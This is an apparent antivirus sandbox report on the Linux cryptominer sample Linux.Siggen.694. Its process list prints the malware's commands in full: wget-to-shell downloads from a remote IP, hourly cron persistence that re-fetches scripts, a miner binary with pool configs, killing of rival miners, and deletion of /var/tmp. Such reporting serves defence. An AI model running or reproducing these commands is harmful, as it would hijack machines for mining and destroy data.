Linux.Siggen.694

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Removes itself

Launches itself as a daemon

Launches processes:

<SAMPLE_FULL_PATH> 2
/bin/sh -c /usr/bin/wget -q -O - http://103.233.82.32/izxcv.sh | /bin/sh
/usr/bin/wget -q -O - http://103.233.82.32/izxcv.sh
/bin/sh
/bin/sh -c mkdir -p /var/spool/cron/crontabs
mkdir -p /var/spool/cron/crontabs
/bin/sh -c uname -m
uname -m
/bin/sh -c echo \"0 * * * * /usr/bin/wget -q -O - http://103.233.82.32/i.sh | /bin/sh\" > /var/spool/cron/root
/bin/sh -c echo \"0 * * * * /usr/bin/wget -q -O - http://103.233.82.32/i.sh | /bin/sh\" > /var/spool/cron/crontabs/root
/bin/sh -c /usr/bin/wget -q -O - http://103.233.82.32/izxcvb.sh | /bin/sh
/usr/bin/wget -q -O - http://103.233.82.32/izxcvb.sh
mkdir /etc/seconfig
rm /etc/seconfig/pools.txt
rm /etc/seconfig/config.json
grep -v grep
grep redis-server\|hash\|xmr\|\.sr0\|Circle_MI\|get.bi-chi.com\|pool\|ddg\.\|mirai
ps xf
wget -q http://103.233.82.32/xorgg.i686 -O /etc/seconfig/xorgg
wget -q http://103.233.82.32/ccc -O /etc/seconfig/cpu.txt
wget -q http://103.233.82.32/cccc -O /etc/seconfig/config.txt
wget -q http://103.233.82.32/con -O /etc/seconfig/config.json
wget -q http://103.233.82.32/ppp -O /etc/seconfig/pools.txt
ps auxf
grep Circle_MI
awk {print $2}
xargs kill
kill
grep get.bi-chi.com
grep hashvault.pro
grep nanopool.org
grep minexmr.com
grep /boot/efi/
grep /ddg.
grep xorgg
grep -q 8.8.8.8 /etc/resolv.conf
rm -rf /var/tmp/*
rm -rf /tmp/samba
chmod +x /etc/seconfig/xorgg
sleep 2
/etc/seconfig/xorgg

Performs operations with the file system:

Modifies file access rights:

Creates folders:

Creates or modifies files:

Deletes files:

Network activity:

Awaits incoming connections on ports:

Establishes connection:

HTTP GET requests:

Sends data to the following servers:

Receives data from the following servers:

Other:

Collects CPU information

Collects RAM information

Collects information about network activity